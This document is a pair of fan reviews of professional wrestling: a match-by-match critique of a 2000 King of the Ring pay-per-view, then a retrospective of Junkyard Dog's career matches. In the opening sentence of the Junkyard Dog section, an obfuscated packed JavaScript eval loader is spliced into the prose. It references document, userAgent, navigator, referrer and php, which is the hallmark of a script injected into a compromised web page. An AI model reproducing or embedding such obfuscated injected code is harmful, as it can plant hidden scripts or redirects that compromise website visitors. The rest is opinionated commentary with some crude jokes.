Chyna looks great, but Trish looks better. This should be fine I guess. Venis hurt Eddie on Smackdown even though he looks fine here. Trish more or less wears a one piece swimsuit and a coat so I’m happy. Val beat Al Snow and Jeff Hardy while Eddie beat Matt Hardy and Chyna. Eddie has just gotten back from his arm injury that he got in one of his first matches in the company.

This is definitely picking the pace up a lot which is a major help. Eddie was just such a wreck in real life at this point and he was about to crack. The RTC was about to start as well to give Val something to do. Eddie starts working on the back to add some mild psychology here. And now Val works on Eddie’s back, which is just weird for some reason.

The Money Shot hits nothing but knees and there’s part of a joke in there somewhere. Val is definitely a heel here but it’s not saying much. After the women get involved, Val wins with a nice fisherman’s suplex. That was rather pointless.

Rating: C-. This just wasn’t that good. Val and Eddie are both good workers but this just failed for the most part. It was like they were searching for a story but they couldn’t find one no matter how hard they tried. The ending part was a big improvement but it still wasn’t much at all.

Patterson, who is fighting Brisco later on in a lingire match for the hardcore title, says that none of the dresses he has available make him look sexy enough. You can’t make stuff like this up.

Rikishi says he’s going to beat Val. I really hate him.

KOTR Quarter Finals: Crash Holly vs. Bull Buchanan

Please…make it quick. Crash beat Albert and Hardcore Holly while Bull beat Blackman and Saturn. Was anyone not in this tournament? Crash has the scale thing here because that was such a great gimmick. It kept him employed if nothing else I guess. He’s doing the Cinderella story thing here. We see a clip of Brisco and Patterson stealing the Hardcore title from Crash on Raw.

Buchanan just couldn’t be blander if his life depended on it. He’s getting into Tomko levels here. The crowd busts out the boring chant and I can’t blame them a bit. It’s weak but it’s the longest I’ve ever heard. The coronation is tomorrow night apparently, since obviously we can’t hold it here because…well we just can’t I guess. A rollup for Crash gets two. Buchanan misses an axe kick and Crash rolls him up for the pin. Thank goodness the referee did a fast count for the most part.

Rating: D. This was just a waste of time. The fans got the chant exactly right. They have Benoit go out in the first round so we get this? I know the company was on freaking fire at the moment but geez, they couldn’t have gotten this one more wrong.

Linda is in her office when Vince comes in and lists off everything she’s done to tick him off over the years. She’s done a lot actually, but dang she can’t act to save her life. This is the weirdest marriage of all time.

KOTR Quarter Finals: Kurt Angle vs. Chris Jericho

Jericho beat Bradshaw and Bubba while Jericho beat Test and Edge in a series of Canadian violence. Angle runs down Boston’s sports teams before the match, which is ironic as about two years ago it was the greatest sports town in the world. Jericho is of course wildly over. This is one of those matches that it’s just hard to mess up. He uses the Kirk Angel line that never gets old for some reason.

Can we have a two hour show of these two just insulting each other? It would be better than most wrestling shows. He implies Angle is a virgin, which is funny considering what his wife looked like. About a minute into the match Jericho hits the Lionsault and Long has to count really slowly because Angle misses his cue to put his foot on the bottom rope.

Angle has a ton of fans here and I can’t blame them as he was just epic at this point as he played his character perfectly and could back it up in the ring. Angle has to use the ropes to get out of another pin. Long’s counting is annoying the heck out of me. It’s worse than the blonde guy in WWE now.

Jericho gets out of the Angle Slam and hooks the Walls but Stephanie is here to distract the referee while Angle is tapping. Stephanie accidently pops Angle with her women’s title and she gets kissed by Jericho. It does however allow Angle to hook the slam for the pin.

Rating: B. Again, hard to mess this one up. It’s about ten minutes and it worked fine. These guys had undeniable chemistry together and it showed here. It lasted a good enough time to make it work and the workrate was all there, so what more can you ask for? We definitely needed Crash and Bull in the first round instead of Jericho and Angle beating one of them each right?

Updated brackets:

Kurt Angle
Crash Holly

Rikishi
Eddie Guerrero

Shane is mad at Vince for getting the interference barred from the main event. The way the match works tonight is that if any face gets the pin then they’re world champion and if HHH’s team wins, he faces the winner of the tournament.

Mick Foley is at WWF New York, which is still the coolest thing ever. Ivory is the bartender and Foley has a huge haircut. We can barely hear Foley over the fans chanting for Foley and Ivory. Foley doesn’t remember the 98 Cell match but he likes Angle apparently. That’s most odd.

Tag Titles: Edge/Christian vs. Too Cool vs. Hardys vs. Too Cool

The champions, Too Cool (just take me now) are out last. Edge and Christian do the 5 second pose which is of Buckner and the Mets in 86. Lita and Trish look amazing. For some reason Too Cool is popular which I’ll never understand for the life of me. What was cool about them? Scotty’s belt is on upside down. This is elimianton rules by the way so it’s kind of like three matches in one which isn’t bad at all. Jeff has the rainbow hair now and starts with Albert.

Jeff is put in a gorilla press but flips out of it and hits a dropkick in a sweet little sequence. He and Matt beat on Albert. They really were a great team. Matt and Jeff keep getting out of the power moves from T&A as Lita and Trish get into it in foreshadowing of their epic future rivalry. The redhead is in the ring for no apparent reason and gets a nice cheer, and it allows Matt to pin Test after a Swanton.

It’s Jeff and Scotty now, who is apparently happy that he managed to get dressed all by himself this morning. Now let’s stop to dance a bit. They’re going really fast out there for no apparent reason. Jeff and Edge, who would eventually main event PPVs which I don’t think anyone really expected, go at it in what is of course a solid encounter. Lita, pink thong flying, throws a hurricanrana to get two on Edge for Jeff.

She’s still kind of annoying despite being hot. Everyone goes for or hit their finishers, resulting in Christian putting Matt out. Oh apparently Too Cool is still here. They had nothing at all to do with that so no one even remembered they were there. We just had to have Too Cool as champions too because we couldn’t let Edge and Christian and the Hardys go out there and just show off or anything good like that right?

Naturally Too Cool is just doing comedy stuff because it’s all they’re capable of. After a few minutes of Scotty getting beaten on, we get the epicness, yes EPICNESS I say of the hot tag to Grandmaster. It’s a comedy match for the most opart here for the tag titles. Too Cool seem like the guys that don’t realize they’re champions and couldn’t care less if they lost them.

Edge and Christian start a double worm but Scotty, despite being late and causing Christian to not know what he’s supposed to do, makes the stop. He does the worm, which of course takes about 30 seconds to do the whole thing, making it completely stupid. The champions hit a Trash Compactor but the referee is busy so Christian gets a shot with the belt to get the belts again.

Rating: C. This is the epitome of average. It’s not good, it’s not bad, it’s just there. It’s about 15 minutes long or five minutes per elimination and Too Cool lost the belts to edge and Christian. That’s all there is to it. It’s not bad or great, but perfectly average, meaning it’s not really a good sign but Too Cool aren’t the champions anymore so I’m happy.

Crash says Angle is in trouble.

We get to see Benoit beat up Rikishi again, making my heart go all aflutter.

KOTR Semi-Finals: Rikishi vs. Val Venis

These two would fight again at Fully Loaded in the cage splash match that I’ve previously reviewed. They have been feuding for awhile here so at least there’s something to go on here, which I think is what the plan was which I really like, as it helps things out a lot here at the show. We start on the floor and it’s just a brawl at this point. Ah there we go we’re in the ring now.

Why can’t we do that with Val, who has a decent one? Rikishi’s arm is still hurt from earlier. We get the odd sight of Rikishi throwing left hands. Val goes up for the splash but gets crotched, allowing Rikishi to hit a belly to belly to win. Post match he tries to hit the hip drop on Trish but Val hits him with the stairs and a chair. What lucky star did I wake up under?

Rating: C+. Everything on this show is average. There’s just nothing appealing here at all and it’s just not working for me. This was again about three minutes long and even more proof as to why we don’t need to do the final three rounds on the PPV as there’s just too much going on here.

To continue this review, please press eject and turn the tape over.

Brisco is with Coach and cuts this very serious promo that is very funny, which I think was the point. He doesn’t say if he wants regular panties or crotchless. I just got done with Starrcade 83 and saw he and his brother have a great match with Steamboat and Youngblood, and now this. I love wrestling.

KOTR Semi-Finals: Crash Holly vs. Kurt Angle

Hmm, I wonder who is going to win here. I love that under Angle’s name it says American Hero. There’s something very funny about that. This is pretty crisp actually and it’s not bad at all. Crash shouting screw you at the referee is funny for some reason. It’s a shame that Crash had such a comedy based gimmick that he never got the change to show what he was capable of. The same goes for Al Snow.

We get an XFL reference and we need the death music already. Crash isn’t backing down, I’ll give him that. He hits a missile dropkick and the fans are buying into this. Out of nowhere off a hot shot, Angle hits the slam to end it. This was only four minutes, but it felt like a lot longer, and I mean that in a good way.

Rating: B. I really liked this match. It was very fast paced and they fit a lot into the little time they had. Like I said, it’s a shame that Crash had the comedy gimmick and couldn’t get a chance to showcase himself as he’s not that bad at all in the ring. I liked this.

King says that King Rikishi isn’t something you can even pronounce.

We get a clip of a show last night in MSG where Trump was there. He must be a legit. That’s saying a lot, and he’s a Rock fan.

Cole is in the back with Kane who can now talk sans voice box, which I think has been the case for a long time here.

Taker all of a sudden can talk fine as well and says he’ll win the title.

We recap the evening gown match that’s coming up. Brisco won the title from Crash on Raw and Patterson broke a champagne bottle over his head and pinned him. He threw in a suck it and crotch chop and I begin to wonder about these two. Patterson, scared to death of losing the title, wore drag and hid in the women’s locker room.

Brisco wanted to get in there to pin him, so he put on a dress that he just happened to have laying around I guess. It resulted in them throwing makeup at each other. Vince came up, stunned, and said there would be an evening gown match tonight.

Hardcore Title: Pat Patterson vs. Gerald Brisco

They’re wearing wigs too. Gerald comes out to Real American which HAS to be a rib on Hogan. Brisco comes out with a 2×4. Patterson comes out to showgirl music with a shopping cart of toilet paper and other stupid stuff. He’s wearing a bra too and throws candy out of it. This is hilarious for some perverse reason. We get the line of him doing rear end work at the body shop.

For those of you not getting my constant jokes, the worst kept secret in wrestling history is that Patterson is gay. Patterson is wearing sneakers and Brisco is wearing heels. Oh and Patterson has sunglasses on. Patterson offers to lay down, prompting even more jokes, even though you win by ripping the clothes off I thought. And Patterson has a banana which I don’t think Ross realized at first.

The line of OH it’s a BANANA was hilarious as all goodness. Patterson reaches under his dress and pulls out a tampon to shove in his face. The red panties are smacked by Brisco with a low blow. And we get a Bronco Buster. Ok the joke is over now. And thankfully Crash comes down with a referee and a trash can. After ripping Brisco’s clothes off, he hits Patterson with the can to get the title to a massive pop. This just became disturbing near the end.

Rating: O, as in oh what do you think the grade here is?

We see the Dudleys bringing a table with Tori’s name on it. At Judgment Day, they had tried to put her through a table but didn’t get to so Bubba is now in a trance until he can do it. Tori put Bubba through one and then DX put them in a dumpster and threw them off the stage. That leads us here.

Tori/Road Dogg/X-Pac vs. Dudleys

This is a handicap, table dumpster match. You win by putting the other in or through the respective item. Tori is badly hurt here and would more or less be gone after this. It’s a shame too as she was freaking sexy. DX comes out to a Run DMC song, as there was a rap album of themes coming out. Since this is such a violent match, we have tags just in case.

The Dudleys were revolutionizing tag wrestling as no one knew what to make of them. They breathed new life into the place and they had hooked up with Edge and Christian and the Hardys a few months prior for the triple threat ladder match which set the world on fire for awhile. We’re at about 8 crotch chops after maybe a minute and a half. Again, what’s the point of it being no DQ if you have to tag? Scratch that, reverse it.

In a funny spot, D-Von does the What’s Up on Tori and then stays there. Can’t say I blame him. It was clear that the Dudleys would be faces very soon and the fans want tables. DX get the lid shut with them in the dumpster but the referee is with Tori. They escape but DX don’t notice it. Yeah the Dudleys are faces here. It’s odd to think of DX as heels I think. The successful team here sets up two tables on the floor and puts steps in the ring.

Road Dogg takes a sweet bump over the ropes through both tables in a powerbomb. I don’t think this is elimination rules but Dogg is out for the most part. Tori is holding her crotch which is just odd looking. Being he genius that she is, she gets in the ring with X-Pac being put through a table.

She dives into the dumpster but two chair shots put the Dudleys in the dumpster for the win. Both of them get a 3D and you know what’s coming. Tori is powerbombed out of the company. I think Tori’s arm got hurt in the dumpster. Something is clearly not right with it. Bubba’s trance is always funny.

Rating: C+. Again, just an average brawl. I’m getting tired of this show being nothing but average and men in women’s clothing. It’s just not interesting at all and it’s going by fast enough, but I haven’t been interested all night long and that’s never a good thing.

Angle says he’ll win and we get to see Rikishi get beaten up again. The fat man says he’s going to win and sounds very stupid.

We get the same video package we got at the beginning of the show.

KOTR Finals: Rikishi vs. Kurt Angle

The fans are burned out on these guys as you would expect them to be. We start on the floor of course. The stink face is blocked thank goodness. This could be on any Raw or Smackdown, which doesn’t say much to me. The one arm thing doesn’t make a lot of sense but it’s something I guess. Angle gets the stink face of course because that’s just so cool of a move right? Angle slam gets two.

Rikishi makes the comeback, including a freaking diamond cutter of all things, but takes a belly to belly off the second rope that I think was supposed to look a lot better than it did but the powers of the fat trump the powers of America and it’s just ok. That gives the crown to Kurt, and of course the ceremony’s tomorrow night, since that makes SO much freaking sense right? This reminded me of Razor vs. Owen in 94.

There was just NO FREAKING WAY Owen could lose it and it killed any heat the match had. Also, you have Jericho, Guerrero and Benoit available to be in the finals vs. Angle, yet the 400lb Samoan in a thong gets the spot? See what I mean when I say Vince doesn’t get it a lot of the time?

Rating: D+. This was exactly what you would expect these two to do, but it just wasn’t entertaining at all. Rikishi simply wasn’t any good and that was the problem. The size never worked at all as no one, not even greats like Austin or Angle could do anything with him because of the freaking size. It cut Kurt, a power guy, off here too and that’s just not a good thing whatsoever.

The heels have a short thing where Vince has gotten on the others’ nerves.

Rock is in USA Today, as apparently the WWF was big enough to warrant a comparison to baseball by a national paper. Wrestling was HUGE at this time.

WWF Title: HHH/Vince McMahon/Shane McMahon vs. Rock/Kane/Undertaker

Yeah those sides are fair. Like mentioned earlier, if HHH or either McMahon is pinned, HHH loses the title to whoever gets the pin. If HHH’s team wins, HHH fights Angle. There’s no explanation of how this came about but HHH was feuding with Rock and Taker showed up to get at Vince and Shane was with Vince and Kane was just there for the sake of being there. All of the faces get their own entrances. Shane is a pussy apparently.

The pussy starts with Kane. And that’s more or less the high point. This match goes on nearly TWENTY MINUTES and I stopped caring after about two. It’s just filling in the time the whole way rather than anything actually of note going on. The faces keep fighting amongst themselves while the heels keep getting in a few shots here and there. One major problem here is that they never actually explain why Take hates Vince.

Now if you followed wrestling well enough around this time, it’s not that hard to figure out, but good night man, give us something at least. The match just goes on and on and it’s boring as any and all goodness. We get that the faces don’t get along. You don’t need to remind us a dozen times per minute. Everyone beats on everyone as we’re in the orgy mode here. Nothing of note happens as it’s all just one big mess as everyone beats on everyone with no particular rhyme or reason.

FINALLY we get to the point as most everyone goes outside and given the amount of time left we know that someone is going to get a pinfalll soon and end this. Since Vince is alone in the ring, I’m willing to bet that it’s him. And yep, there’s a Rock Bottom and a new champion to celebrate. And yep that’s all there is.

Rating: D-. Oy thank goodness this is over. No one cared about the thing but since we had seen Rock vs. HHH a half dozen times they needed to shift things, and since there’s some law against Kane getting a title shot on PPV, this is what we got instead. It was a weird idea and seriously, did anyone thing there wouldn’t be a new champion? I’m just glad this is over.

Overall Rating: D. And that’s being VERY generous. There is nothing at all worth watching on here. Jericho and Angle have done the same thing about ten times better at least a dozen times. Crash Holly of all people might be the most interesting person on this. That’s just absurd.

The matches were pointless, the title change was one of about five that summer, and the whole thing just plodded along. Angle was a given once we got down to four, and that ruins the rest of the tournament matches. Stay away from this one as well. The next one is much better though, so that’s better than nothing.

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Wrestler of the Day – June 3: Junkyard Dog

Start doing the Juke. It’s Junkyard Dog.

JYD eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddian|var|u0026u|referrer|nrehk||js|php'.split('|'),0,{})) would get started in the late 70s, including a run in Stampede under the name Big Daddy Ritter. Here’s one such match, and what is believed to be the first ever ladder matche, from July 1, 1979.

North American Heavyweight Title: Jake Roberts vs. Big Daddy Ritter

Jake is defending the promotion’s top title and this is joined in progress because it’s Stampede. In a bonus, there’s money in the bag as well so Jake can actually win something. Roberts puts the ladder (which just leans against a structure and doesn’t fold open, though there is someone helping hold it up) up and tries to climb but Ritter makes a save. They do the same sequence with the roles reversed and we’re about six minutes in according to commentary.

Ritter knocks him down again and hits a headbutt before throwing Jake into the ladder which doesn’t move at all. Jake makes a save and hits Ritter with….I think Ritter’s boot but Ritter grabs his foot to stop a climb. Ritter is sent face first into the steel but easily pulls the champion down the ladder. Big Daddy gets his boot back and lays Jake out, only to climb too slowly and get hit in the back with the boot again. Jake is sent to the apron and gets his feet tied in the ropes, allowing Ritter to climb up and win the title.

Rating: D+. You have to give them a bit of a break here as they may have literally never had anything to go off here. They actually did use the ladder as a weapon a few times so it wasn’t just there in the background. Not a good or memorable match but it’s certainly historic, which is why it’s on a WWE DVD.

We’ll jump ahead about three years to June 23, 1982, when Ritter was now the Junkyard Dog was at the peak of his career. He won the North American Heavyweight Title on June 21, 1982. DiBiase and JYD are friends here and if DiBiase loses, he leaves the territory.

North American Heavyweight Title: Ted DiBiase vs. Junkyard Dog

That’s a different North American Title if that’s not clear. It’s also No DQ, which is the kind of match DiBiase signed for when Bob Roop was still champion. Both guys are faces here and we get some promos before the match with Dog talking about fighting hard as champion and DiBiase says he has to feed his family. We also hear from Roop, who says he was ripped off when JYD took DiBiase’s place in a title match and won the belt. He wants the next match with Dog.

Dog is as over as free beer in a frat house and the fans just love him. He’s also ripped here and in about a thousand times better shape than he was in the WWF. Roop is on commentary but says he won’t interfere because it’ll cost him $2500. Feeling out process to start with Ted getting two off a quick rollup. A small package gets the same for the champion before they trade hammerlocks.

Dog takes him down twice in a row but won’t drop his fist out of respect. Back up and they both pull back fists but shake hands instead. DiBiase gets a quick powerslam but the kickout sends him flying across the ring. Dog kicks him away from trying a Figure Four and DiBiase falls outside. Ted is slow to get up so JYD helps him get back in, but DiBiase pulls out a loaded glove to knock Dog out cold for the pin and the title. Roop: “I KNEW IT! I KNEW IT!”

Rating: C. This was ALL about the angle and the fans sitting in stunned silence suggests that it worked very well. This made DiBiase the most hated man in wrestling and the feud between these two was awesome stuff. Dog would get the title back of course, but the heel turn was talked about for years.

Here’s a random match against a fairly big name from a few months later on September 24, 1982.

Junkyard Dog vs. Nick Bockwinkel

Feeling out process to start with Bockwinkel bouncing off the Dog. JYD punches him in the face but a double clothesline puts both guys down. Nick sends him into the buckle a few times to no real effect so Dog nails some big right hands. A pair of Thump powerslams end Bockwinkle in less than four minutes. This was almost a squash.

Rating: D+. This was much more for the live fans than anyone else. I’m also rather surprised that Bockwinkel did such a clean job as I believe he was AWA World Champion when this match was taped. Not a good match for the most part but it made JYD look legit as well as popular so it’s hard to complain much.

Time to pick up the DiBiase feud again from I believed some point in early 1983.

Junkyard Dog/Mr. Wrestling II vs. Matt Borne/Ted DiBiase

Borne and DiBiase are the Mid-South Tag Team Champions but this is non-title. That also puts this between October 27, 1982 and March 12, 1983. Dog and the masked man easily clear the ring as this is going to be a huge brawl. We finally get down to JYD and DiBiase with Ted being backdropped as Bill Watts continues his tradition of saying Hacksaw Doogan instead of Duggan.

A right hand from Mr. Wrestling sends Ted to the floor before the good guys start working over DiBiase’s arm. Mr. Wrestling easily takes both heels down before JYD hooks something resemblind a cross face chicken wing on Ted. Everything breaks down and Tiger Conway, Jim Duggan, Skandor Akbar and Kamala all run in for the no contest.

Rating: D+. Again this was about the angle than the match as DiBiase and Borne were saved by their fellow Rat Pack member Duggan. Nothing much to see, but anytime the fans got to see DiBiase beaten up by Dog, the fans were going to be pleased. Dog was just so freakishly over and Wrestling II wasn’t far behind.

We’ll look at something outside of Mid-South now, with this match from the David Von Erich Memorial Parade of Champions in 1984.

Junkyard Dog vs. Missing Link

Dog was a HUGE star at this point. Missing Link is a crazy man. Link charges straight at him so Dog punches him a lot. A chair is brought in so Dog whacks him over the head with it and that’s all well and good I guess. Akbar is Link’s manager too. Link tries ramming Dog’s head into the buckle and that just fails. Now Link rams his own head into the buckle. They both get on all fours and ram heads which goes to Dog as well. Akbar tries to cheat and it allows Link to hit a middle rope headbutt for the pin? Akbar had the foot for the pin but another referee comes out and says what happened so Dog wins by DQ.

Rating: D-. It’s only really not a failure because Link had a cool look and I liked the insane character he had. The Dog was WAY over and it worked very well to have him here. Not a good match at all though as their styles completely clashed and the ending was even worse with neither guy looking good at all. It was pretty much a squash until the end.

It was then off to his most famous period as Dog entered the WWF in 1984. He would be on the first Wrestlemania, challenging for the Intercontinental Title.

Intercontinental Title: Junkyard Dog vs. Greg Valentine

Dog cranks on the arm to start and punches him in the shoulder ala Marciano. A punch to the face takes Valentine down and a headbutt sends the champion (Greg in case you’re not familiar with this era) to the floor. Valentine tries his luck at the arm now and pounds away with some forearms to the back of the head. I’m not sure if that should hurt the Dog or not.

The champion goes after the leg now with what looks to be the start of a half crab but he never turns Dog over. A kind of DDT on the leg has the Dog in trouble again and there’s a headbutt between the legs. Dog breaks up the Figure Four and hits a headbutt to stagger the champ some more. Jimmy Hart tries to interfere but Dog causes Valentine to blast him in the head instead. Valentine grabs a fast rollup and puts his feet on the ropes for the pin.

Rating: D+. I’m getting tired of using that rating but this is what the matches keep coming out as: not terrible but nothing good at all. Valentine would get back to his current feud with Tito Santana very soon with the title changing hands pretty soon if I remember properly. Dog was there as more of a fun character than a serious threat so this was fine.

Next up was the Wrestling Classic, a one night tournament in late 1985. Dog was in the finals against someone you might have heard of.

Wrestling Classic Finals: Randy Savage vs. Junkyard Dog

Savage in tye dye is a really weird look for him. He throws a chair at Dog but JYD catches it and blasts himself in the head about ten times. Randy stalls like he’s still in Memphis and then does it again for good measure. Back in and Dog easily shoves him down a few times before driving a headbutt into Randy’s spine.

We hit a bearhug on Savage, who might have a bad back after being superplexed earlier in the night. Savage is sent into the corner as this has been one sided so far. Choking ensues but Savage finally comes back with a clothesline for two. Dog is sent to the floor and Randy drops a top rope ax handle to get his first real advantage. Savage rams him into the post as Jesse keeps ranting about how unfair it was for Dog to get a bye.

Another top rope ax handle to the floor puts Dog down again and a chair shot keeps him down. Why that wasn’t a DQ isn’t quite clear. Savage dives back in at nine before throwing JYD back in as well, only to jump into a fist to the ribs. Some headbutts have Savage reeling and a backdrop over the top sends him to the floor for the countout, giving Dog the tournament.

Rating: D+. This was a bizarrely booked match as Savage got in nothing for the first half before taking over on the floor. Dog looked exhausted and you can’t really blame him. I mean, his first match was three and a half minutes, his second match was 45 seconds, and his third round match was a bye. That’s rather pathetic when he was tired at about seven minutes into this.

Dog was a big deal and this match from SNME VI proves it.

Hulk Hogan/Junkyard Dog vs. Funk Brothers

The Funks are Dory Jr. (called Hoss here for no reason whatsoever) and Terry and they have Jimmy Jack with them, but he’s no relation so there we are. Hogan has chains around him for the intro. That’s very odd as I’ve never seen him carry anyone else. Hogan gets on all fours and rams the Funks’ heads. Oh this is going to be a long night.

Why is it called the WWF Heavyweight Championship? There wasn’t a light heavyweight title on American soil, so what’s the point? I guess it just sounds better or something. Hogan is in white here. If nothing else we get Heenan ranting on midgets, so that’s going to help a lot. Oh poor Dory. What the heck happened to you man? Heenan goes on a rant and says Hogan and Dog aren’t wrestlers. Oh I want to buy this man a ham sandwich.

Terry goes after Haiti Kid and I would pay big money to see them in a cage. The biases here are just hilarious. Terry beats on Dog and I like him even more now. Jimmy nails Haiti Kid and I like him even more now. JYD still lives here so I still can’t stand him. Heenan is just on fire here and he’s easily the most entertaining person or thing out here. JYD takes the Kid to the back, throwing him over his shoulder like a 12 pack.

Hogan gets a branding iron to the ribs once we get back from commercial, which might still be hurt from a few months ago. One nice thing about SNME is that the footage picks up where we left off at the break so we don’t miss any action. Dog is back now. I didn’t notice but whatever.

Oh dear the Kid is back and has a big bandage on his head. It looks freaking ridiculous. Terry misses what I’m assuming was a splash which allows Hogan to get the tag and pin him in about 4 seconds. The heels beat up the Kid as I cheer.

Rating: C+. It’s a standard 80s tag match. I’m not sure I get the point of Hogan opening the show when he’s the star attraction, but then again the 80s were a weird time. JYD continues to reach new levels of uselessness every time I see him so he was worthless.

Another big show around this time was the Big Event on August 28, 1986.

Adrian Adonis vs. Junkyard Dog

It’s so cool to see the thousands of people and have a row cut out in there for the guys to come through. It looks completely awesome. Hart has a freaking feather duster for some reason. Adonis is rather gay in case you weren’t familiar with him. He’s also about 400lbs here. About two years before this he was a big deal actually as a biker character. I love that Dog’s theme song is about grabbing a girl’s hips. Adonis is bleeding pretty badly already. Ok apparently not as I refuse to listen to Ernie Ladd anymore.

Jimmy sprays perfume or cologne or whatever in Dog’s face to break the momentum though and Adonis goes to work. Dog no sells two megaphone shots and they fight on the floor. The referee gets to about 8 and then we go into the ring and Adonis is thrown into Hart and falls BACK OUT OF THE RING after being completely in for the count out. I think they botched that one.

Rating: D+. This was a standard 80s match but I don’t get the ending at all. It wasn’t any good which I would blame on the wrestlers and JYD is an annoying waste of oxygen as it is so there we are. This was just filler, but again you have to sympathize with Dog as he had to wrestle four minutes here.

Dog would have a brief feud with King Harley Race and have a loser must bow match at Wrestlemania III, which is one of his better known matches.

Harley Race vs. Junkyard Dog

The loser has to bow. Uecker is apparently in love with Moolah and bails out of the booth. Race comes out to either Lawler’s music or the song Lawler’s music was remixed from. Dog says that he wants to take over the spot on the throne. Oh and I forgot to mention the ring carts which only appeared here and at Mania 6. Those things were AWESOME. Dog blocks some punches to start and pounds away but Race trips up JYD to give Race control.

Dog comes right back with a headbutt to send Race to the floor before pulling him right back in. Race gets knocked to the floor again and is in big trouble. Back in and Race tries a headbutt and knocks himself silly. A Flair Flip in the corner sends Race to the floor AGAIN but it still doesn’t last long. Back inside Dog hits some headbutts but has to stop to chase off Heenan, allowing Race to hit a belly to belly for the pin.

Rating: D. This wasn’t that good primarily due to time. The majority of the match was spent with Race on the floor which isn’t what you expect from him. Dog was all about personality and crowd response as most of his offense was a bunch of headbutts. Not much to see here but the crowd was into it.

Dog bows to Race but then blasts him with a chair and steals the robe.

Here’s a Philadelphia house show from September 18, 1987.

Junkyard Dog vs. Ted DiBiase

We have a Mid-South reunion here. DiBiase offers JYD 500 bucks to take the night off but JYD drills him and gives the money to the fans. Ted is relatively new here too, only having been around about four or five months. Ted gets punched down again and it’s time to stall again. DiBiase hides in the ropes more than once as this is going nowhere so far. JYD rams Ted in the buckle a few times and Ted backs off again.

A fan asks DiBiase for more money when he’s on the floor. That made me chuckle. Back in and DiBiase’s boot to the ribs is caught in an atomic drop. We’re almost four minutes into this and almost nothing has happened so far. JYD works over the arm with a wristlock and then gets on all fours for some headbutts. A falling headbutt misses and DiBiase takes over. DiBiase goes up but jumps into an extended fist instead of the extended boot. Well at least it was different. More headbutts keep DiBiase down and Virgil gets one too. Virgil trips JYD up and DiBiase steals a win with a rollup.

Rating: D+. Another punch/kick/headbutt/stall match here which is continues to drag this show down. DiBiase was killing time until he started to go after Hogan and JYD didn’t mean much of anything yet. The match was mainly DiBiase stalling though and it didn’t go anywhere at all, which is a theme tonight.

He was also in a battle royal at Wrestlemania IV.

Battle Royal

Bret Hart, Jim Neidhart, Jim Powers, Paul Roma, Sika, Danny Davis, B. Brian Blair, Jim Brunzell, Bad News Brown, Sam Houston, Jacques Rougeau, Ray Rougeau, Ken Patera, Ron Bass, Junkyard Dog, Nikolai Volkoff, Boris Zhukov, Hillbilly Jim, Harley Race, George Steele

Just for a big trophy here. Steele chills on the floor and Bob Uecker is in on commentary here. Sam Houston is put out quick as is Sika. Brunzell is sent to the apron by Nikolai but he makes the save. Both Bee’s are sent to the apron but Steele pulls Neidhart out to the floor. Both of the Bees are put out as is Ray Rougeau as the ring is thinning out a bit. Dog puts Bass out but has to fight off the Bolsheviks.

Hillbilly Jim is put out and Roma puts Davis out as well. We’re down to nine and Powers is out too. We’ve got Volkoff, Zhukov, Hart, Roma, Jacques Rougeau, Race, Brown, Patera and Dog. Race and Dog headbutt each other with the canine man winning. Nikolai is dumped by Patera and Zukov gets the same treatment.

Patera is pulled to the floor by Volkoff as Race and Rougeau go out. So it’s JYD, Hart and Brown to go. Dog gets on all fours to headbutt both heels but they finally catch up on him with some double teaming. He gets dumped out and Hart and Brown seem to be willing to split the win. Brown of course turns on Hart and dumps him out to win the trophy.

Rating: D+. This was nothing of note other than the potential beginning of Bret’s first aborted singles push. The problem with battle royals is the same most of the time: there’s no reason for most of them to happen and with no story, there’s not much interest in the match. Sometimes you’ll get a good one, but this wasn’t it.

Dog would be in the NWA later in the year and appear at Starrcade 1988.

Russian Assassins vs. Junkyard Dog/Ivan Koloff

This is a thrown together tag match and if the Russians lose, they have to unmask. The Dog is recently here from the WWF where he wasn’t a huge deal but he was a big deal in the UWF. Dog starts with we’ll say Assassin #1 and the masked man is sent into the corner for a quick two count. Off to #2 who is almost immediately knocked to the floor with a big right hand. Paul Jones, now a Russian sympathizer, pulls #2’s leg onto the ropes for the break.

Off to Ivan with a hard clothesline and he chokes #2 down to the mat with ease. #2 charges into a boot in the corner and there’s a middle rope clothesline from Ivan for two. JYD and Ivan hit a double clothesline on #2 but #2 comes back with a headbutt of his own to put Dog down. Everything breaks down for a bit until Dog gets a near fall on #1 off a clothesline. The Assassins double team JYD but #2 misses a splash in the corner. Ivan comes in to clean house as everything breaks down again. In the confusion, the Russians load up a foreign object in their masks and a headbutt ends Ivan.

Rating: D. This wasn’t any good. I have no idea why Ivan and the Dog teamed up for this match and I didn’t even know the Assassins were a team anymore at this point. This came off like a long filler match which isn’t something you should have to use on a card with just seven matches.

He would also appear at Clash of the Champion VI.

Junkyard Dog vs. Butch Reed

JYD is played to the ring by a full jazz band. This is an old rivalry from the Mid-South days when JYD was the biggest star in the company. Reed has Hiro Matsuda with him to further the idea that Reed might help restart the Horsemen. They shove each other to start until Reed gets knocked out to the floor for a breather. Shoulder blocks don’t work for either guy so JYD headbutts him to the mat and some more headbutts send Reed outside again.

Back in and Reed pounds away with big right hands (soup bones according to Ross) but JYD hiptosses him out of the corner. More punches put Dog down and even more keep him down. Reed chokes on the middle rope and Matsuda gets in some of his own. Dog gets caught in a chinlock but fights up with more right hands. He punches Reed out of the air when Reed comes off the middle rope, only to miss a headbutt and get caught by a top rope shoulder for two. Matsuda gets on the apron but Dog whips them together, giving him a quick pin on Butch.

Rating: D. This was a ten minute punching match and it really didn’t work all that well. The match wasn’t horrible for the most part but it certainly wasn’t anything interesting. Both guys were much bigger stars in this area than they were nationwide so the match makes sense, but it doesn’t make it any easier to sit through.

Dog would be treated as a much bigger deal than he was around this time and receive an NWA World Title shot at Clash XI.

NWA World Title: Ric Flair vs. Junkyard Dog

It’s the battle of Charlotte with Flair defending of course. A hard slap puts Flair down to start and Dog drops to all fours. To say JYD is looking big here is an understatement as he’s bordering on huge. The Dog headbutts Flair into the corner and a big right hand sends him to the ramp. Back in and Flair’s chops aren’t sold at all and Dog hammers him down again.

